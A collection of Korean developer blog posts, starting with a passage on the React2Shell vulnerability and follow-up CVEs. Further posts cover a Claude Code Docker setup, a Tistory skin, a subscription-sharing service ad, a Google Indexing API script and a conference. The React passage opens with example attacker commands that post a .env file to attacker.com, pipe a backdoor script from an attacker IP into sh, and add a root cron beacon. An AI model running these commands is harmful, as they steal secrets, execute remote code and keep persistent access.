# 환경변수 탈취
cat ./.env | curl -X POST -d @- http://attacker.com/collect
# 시스템 정보 수집
uname -a && whoami && hostname
# 원격 셸 다운로드 및 실행
curl http://[공격자IP]:8080/backdoor.sh | sh
# 크론으로 지속적인 공격이나 탈취 가능
echo "* * * * * /tmp/.hidden/beacon" >> /var/spool/cron/crontabs/root
CloudFlare는 취약점이 공개되자마자 WAF Rule을 배포하여 문제를 해결하려고 했습니다.
문제는 악성 페이로드가 이미 너무 커서 기존 WAF Buffer(128KB)로는 검사가 안 됐다는 거에요.
그래서 버퍼를 1MB로 긴급 증설하다가 전체 트래픽의 28%에 영향을 주는 거대한 장애가 터졌습니다.
아이러니하게도 보안을 강화하려다 서비스가 터진 웃픈 케이스인데요, 그만큼 긴급하게 배포하려고 했던 것 같습니다.
추가 취약점이 또 발견되다
React2Shell 취약점이 터진 지 약 일주일 만에 추가로 3개의 취약점이 더 공개되었는데요. 하나씩 살펴보도록 할게요.
CVE-2025-55184 / CVE-2025-67779
악성 HTTP 요청으로 React 서버가 무한 루프에 빠지는 취약점이 발생했습니다. 이는 곧 DoS 공격으로 발전(?)할 수 있어요.
DoS(Denial of Service)
컴퓨터나 네트워크를 중단시켜 의도된 사용자가 액세스할 수 없게 만드는 공격으로 표적에 트래픽을 쏟아붓거나 충돌을 유발하는 정보를 전송해요. 악의적인 행위자가 장치의 정상적인 작동을 방해하여 컴퓨터 또는 기타 장치를 사용하려는 사용자가 해당 장치를 사용할 수 없게 만드는 것을 목표로 공격한다고 해요.
CVE-2025-55183
서버 함수의 소스 코드가 노출될 수도 있는 문제도 발생할 수 있었다고해요. 원문에서는 Source Code Exposure라고 표현했습니다.
'use server';
export async function createUser(name) {
// API 키가 노출될 수 있음
const conn = db.connect('API_KEY_HARDCODED_12345');
const user = await conn.createUser(name);
return {
id: user.id,
message: `Hello, ${name}!`
};
}
물론 예시에서처럼, 실제 프로덕션의 환경 변수를 매직 스트링 형태로 작성하거나 환경 변수 파일을 그대로 레포지토리에 관리하지는 않겠지만, 함수 전체의 소스 코드 자체가 문자열로 직렬화되어 응답에 포함될 수 있었다고 합니다.
정리
한국에서는 점유율이 압도적인 원탑인 프론트엔드 프레임워크에서 여러 취약점들이 잇따라 발생한 이례적인 상황인 것 같습니다.
한 명의 개발자로써, 여러 기술들을 필연적으로 사용하다보니 언젠가는 저에게도 발생할 수 있는 이슈라고 생각하고 빠르게 대응할 수 있도록 항상 눈과 귀를 열어두는 것도 중요하다는 것을 다시 한 번 깨닫게 되는 것 같습니다.
주제와는 별개일 수 있지만, 오픈소스에 꾸준히 기여하는 한 사람으로서도 여러 기여를 하면서 특히 보안적인 이슈들은 Breaking Changes보다 더 각별하게 신경쓰고, 검토하고 또 검토하면서 기여를 해나가야 될 것 같다라는 생각이 드네요. 제 한 줄의 코드가 엄청난 파급력을 전파할 수 있다는 것을 다시한 번 깨닫게 되는 것 같습니다 허허...
마지막으로,
더 상세하게, 그리고 실제 코드 베이스를 기반으로 이번 취약점을 직접 확인해보고 싶으신 분들은 개인적으로 코드팩토리님의 영상이 가장 간단하지만 쉽게 설명되어 있으니 확인해보시면 좋을 것 같아요.
cd ~/Desktop/company-docker
docker compose up -d
docker compose run --rm claude-work claude login
## 성공!!
# 1) Claude account with subscription
# 2) Anthropic Console account
도커 컨테이너를 띄워서, 로그인을 시키고 세팅을 완료했습니다.
확인해보면, 개인 계정(위)과 회사 계정의 기본 세팅이 다른 것을 볼 수 있죠.
ccusage도 잘 동작합니다. 위 사진이 개인 계정(내용이 많아서 짤랐습니다.), 아래가 회사 계정이에요.
도커로 띄워야하나? 로컬로 변경
하필 다 만들고 보니 도커는 기본 메모리 사용량이 엄청 높아서, 굳이 도커로 사용해야하나 라는 생각이 들었습니다. (진작 좀 생각하지 ㅡㅡ)
스킨 관련 업데이트는 아래 블로그에서 확인해보실 수 있습니다. https://customskintest.tistory.com
기술 블로그를 3년 가까이 운영하면서, 언젠가는 티스토리 커스텀 스킨을 만들어야지 생각했습니다. 하지만 저는 프론트, 특히 CSS를 잘 다루지 못해서 언젠간 만들어야지 생각만 했던 것 같아요.
드디어!!! 커스텀 스킨을 제작했습니다. 물론 클로드 코드를 사용해서 바이브 코딩으로 만들었습니다. (CSS가 너무 어렵군요..) 티스토리 커스텀 스킨을 무료로 배포합니다!!! 제발 사용해주세요!!!(??)
제 블로그 적용되어있는 상태이니 둘러보시고 마음에 드신다면 아래 레포의 가이드를 따라 사용해주시면 되겠습니다. 비개발자분들도 접속하셔서 코드를 ZIP으로 다운로드만 받아서 티스토리에 등록만 하면 사용이 가능합니다. 사용에 어려움이 있으신 분은 댓글 남겨주시면 답변 드리겠습니다.
1년 전쯤에,고잉버스(GoingBus) 구독 공유를 통해 ChatGPT를 사용했던 후기를 공유한 적이 있었다. 그래서일까, 일종의 광고 문의 같은게 들어왔다. 유튜브, 넷플릭스, 디즈니 등을 비롯해서 최근에는 AI들도 필수 요소들이 되어 필수 소비재가 늘어남에 따라 누군가 겜스고를 이용하고자할 때 싸게 이용했으면 하는 바램에서 작성하는 글이다.
필자는 유튜브 프리미엄 외에는 딱히 OTT는 이용하지 않는다. 하지만 개발자라는 직업 특성상 AI 활용은 트렌드를 넘어 필수 역량이 되었다. 그렇기 때문에 IDE인 Cursor 결제를 포함해서, OpenAI, Claude 등을 구독 결제를 통해 매달 60달러 정도를 필수 지출로 사용중이다.
가입 후 최초화면
나처럼 AI를 많이 사용하던, OTT를 결제해서 이용을 하든 요즘 사회의 필수 소비재들의 구독제 시스템의 과소비(?)의 문제를 해결하고자 여러 구독 공유 서비스들이 나온 것 같고, 이 겜스고도 이 구독 공유 서비스중 하나로 보인다.
1년 전에 고잉버스를 이용했을 때와의 차이점이라고 한다면, 이제 여러 AI들이 서로 경쟁하며 발전하고 있기 때문에 이에 따라 기본적인 Chat GPT와 더불어 Claude, Gemini, 퍼플렉시티까지 지원하고 있고 몇 달전 화제였던 딥시크도 있는 게 인상적이다. 이 외에도 다양한 직군에서 사용되는 MS의 SaaS들과 피그마 등 다양한 서비스를 지원하고 있다.
플랫폼을 돌아보면서, 1년 전의 고잉버스와 가장 크게 다르다고 느껴졌던 부분은 몇 명의 사용자와 공유할지에 대한 선택지가 있다는 것이었다. (확인해본 바로는 고잉버스 또한 현재는 6인, 3인 공유는 선택 가능하다.)
구매를 완료하고나면, 오늘 날짜 기준으로는 GPT 4o 모델 ( + mini 등) 의 사용이 가능한데, 유의할 점은 공유 계정일 경우 다른 사용자 또한 GPT 질의 내용을 볼 수 있다는 점이다. 나는 이 점이 불편해서 고잉버스를 사용하지 않았었는데, 겜스고에서는 이런 구독 공유 플랫폼의 단점이 GPT 1인 계정을 통해 해소되었다.
또 메리트가 있다고 생각한 부분이, 바로 유튜브 프리미엄인데 생각보다 유튜브 프리미엄을 싸게 사용할 수 있는 것처럼 보인다.
자꾸 고잉버스와 비교하게되는데 (고잉버스만 1년 전에 써봐서..) 고잉버스는 아래처럼 5인 공유밖에 없는데다가 가격도 월 5달러 정도로 책정되어 있었다.
겜스고는 1인 계정 구독도 가능한데, 가격 측면에서도 20% 정도 저렴해서, 유튜브 프리미엄을 보다 더 싸게 이용할 수 있다.
유튜브는, 유튜브 계정을 겜스고에 입력해서 가족 계정에 초대받는 포맷이다 .아래 흐름대로 유튜브 프리미엄 가족 그룹에 초대되고 나면, 정상적으로 프리미엄을 이용할 수 있다.
정리
1년 전에 고잉버스 글을 게시했을 때에도, ChatGPT의 구독 공유의 단점을 지적한 바 있다.
광고 글이라고 생각이 달라진 건 없다. 여전히 많은 AI를 사용하고 있지만, 앞으로도 구독 공유가 되는 부분이 치명적인 단점이라 생각하기 때문에, 금액을 조금 줄이고자 누군가와 같이 AI를 사용할 생각은 없다. 고잉버스를 사용했을 때는, 유튜브 프리미엄조차 다른 계정과 공유되기 때문에 사생활이 침해될까 싶어 1달 사용 후 해지를 했었다.
하지만 겜스고에서 유튜브 프리미엄 정도는 결제해서 사용해도 괜찮겠다는 생각이 들었다. 무엇보다 개인 계정이라는게 가장 큰 메리트였고, 6~70% 더 싼 가격에 이용하는 것도 한 몫 하는 것 같다.
마지막으로, 한 번 더 추천인 링크와 프로모션 코드를 남기며 글을 마무리한다. 필요한 사람이 있다면 한 번 써보는 것도 좋을 것 같다.
2년 넘게 기술 블로그를 운영해오면서 블로그 세팅할 때 처음으로 들어가보고, 2년만에 구글 서치 콘솔에 들어가봤다.
어마어마하게 색인이 생성되지 않았는데, 아마 블로그를 운영하면서 불필요한 카테고리를 삭제하거나, 이동시킨 이유들 때문인 것 같다. 4040, 4043, 차단등의 문제는 제외하더라도, 적절한 표준 태그가 포함된 대체 페이지, 색인이 생성되지 않음 의 사유에 해당하는 페이지들은 색인 생성을 한 번쯤은 신청할 필요가 있어 보인다.
기술 블로그만해도 1500페이지 가량 되는 것 같은데, 이 수많은 페이지들을 일일이 색인 생성 요청을 보낼 수 없는 노릇이다. 그래서 GCP의 Web Search Index API를 이용해 자동으로 요청을 보내어 처리하였다.
페이지 색인 생성이 필요한 페이지 URL은 어느정도 수작업이 필요했는데, 페이지 색인 생성 페이지에서 세부 정보 보기를 클릭하여 내보내기 버튼을 통해 엑셀 파일로 내보낼 수 있었다. 내보내기를 통해 엑셀파일을 읽어 API를 통해 색인 업데이트 요청을 보내기만 하면 되는 간단한 자동 색인 생성 요청 코드를 만들어보았다.
const xlsx = require("xlsx");
const request = require("request");
const { google } = require("googleapis");
const key = require("./service_account.json");
// ✅ 1. 엑셀 파일 로드 & URL 리스트 추출
function getUrlListFromExcel(filePath) {
const workbook = xlsx.readFile(filePath); // 엑셀 파일 읽기
const sheetName = workbook.SheetNames[0]; // 첫 번째 시트 사용
const sheet = workbook.Sheets[sheetName];
// A열에서 URL 리스트 추출 (A2부터 끝까지)
const urlList = [];
const range = xlsx.utils.decode_range(sheet["!ref"]);
for (let row = 1; row <= range.e.r; row++) {
// 1부터 시작 (A2부터)
const cellAddress = xlsx.utils.encode_cell({ c: 0, r: row }); // A열(row)
const cell = sheet[cellAddress];
if (cell && cell.v) {
urlList.push(cell.v); // URL 추가
}
}
return urlList;
}
// ✅ 2. Google Indexing API 인증 및 요청 실행
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); // 대기 함수 추가
async function requestIndexingWithDelay(urlList) {
const jwtClient = new google.auth.JWT(
key.client_email,
null,
key.private_key,
["https://www.googleapis.com/auth/indexing"],
null
);
const tokens = await new Promise((resolve, reject) => {
jwtClient.authorize((err, tokens) => {
if (err) reject(err);
else resolve(tokens);
});
});
let failedUrls = [];
for (let i = 0; i < urlList.length; i++) {
const url = urlList[i];
let options = {
url: "https://indexing.googleapis.com/v3/urlNotifications:publish",
method: "POST",
headers: {
"Content-Type": "application/json",
},
auth: { bearer: tokens.access_token },
json: {
url: url,
type: "URL_UPDATED",
},
};
try {
const response = await request(options);
console.log(`✅ 성공 (${i + 1}/${urlList.length}): ${url}`);
} catch (error) {
console.log(`❌ 실패 (${i + 1}/${urlList.length}): ${url}`);
failedUrls.push(url);
}
await delay(100); // 대기 후 다음 요청 실행 (Rate Limit 방지)
}
console.log("\n🎯 [실패한 URL 목록]");
if (failedUrls.length > 0) {
failedUrls.forEach((failedUrl) => console.log(failedUrl));
} else {
console.log("✅ 모든 요청이 성공적으로 처리되었습니다!");
}
}
// ✅ 3. 실행 (엑셀 파일에서 URL 가져와서 요청)
const filePath = "./urls.xlsx"; // ✅ 엑셀 파일 경로 (현재 폴더에 위치)
const urlList = getUrlListFromExcel(filePath);
console.log(`📢 총 ${urlList.length}개의 URL을 색인 요청합니다.`);
requestIndexingWithDelay(urlList);
혹여 코드를 사용해보려하는 사람들을 위한 세팅법을 간략하게 남기며 포스팅을 정리한다.
JavaScript 코드를 실행해야하므로 nodejs를 필요로한다. nodejs를 설치하고 실행할 수 있는 환경을 구성해야한다.
색인 등록에 필요한 GCP부터 GCP IAM, API 세팅까지 끝마치고 GCP IAM의 JSON파일을 필요로한다. 세팅 방법은 링크에서 확인하자. 정말 자세하게 공유되어있다.
IAM의 JSON파일과, 색인 URL 경로가 들어있는 xlsx파일은 위 코드와 같은 depth 경로에 있어야한다.
올해도 너무나 좋은 세션들이 준비되어 있었는데요, 저도 제가 원하는 세션들을 골랐고, 듣고 싶은게 많다보니 중복된 시간의 여러 세션들 중에 지금 당장 내가 들어야할 것을 선별하는 과정에 있어요.
컨퍼런스에 많이 참여해본 것은 아니지만, 현재 세 번의 컨퍼런스를 다녀왔는데요. 보통은 노션으로 정리된 세션을 보고 직접 시간표를 메모해야 했어요. 저는 노션에 시간표 별로 기록해서 돌아다녔던 기억이 있습니다.
하지만!!!! 인프런에선 인프콘 마이페이지에서 듣고싶은 세션을 골라 담아 시간표를 만들 수 있었습니다!!!
이런식으로 말이죠. 제가 고른 세션들이 어지럽게 많은데요, 저는 이제 천천히 어떤 세션을 들을 지 고민해 볼 생각입니다.
인프콘 마이페이지에는, 시간표 외에도 랠릿의 내 이력서 허브와와 연동도 가능했는데요. 인프콘의 이번 네트워킹 파티에서 무언가 활용될 모양인가 봅니다. 사전 준비물이라고 하네요!! 저같은 1000% I 성향을 가진 사람도 네트워킹 파티를 즐길 수 있게 서포터와 인프랩 요원분들이 도와주신다고 하니 용기내서 한번 참여해보겠습니다;;;;;; 하하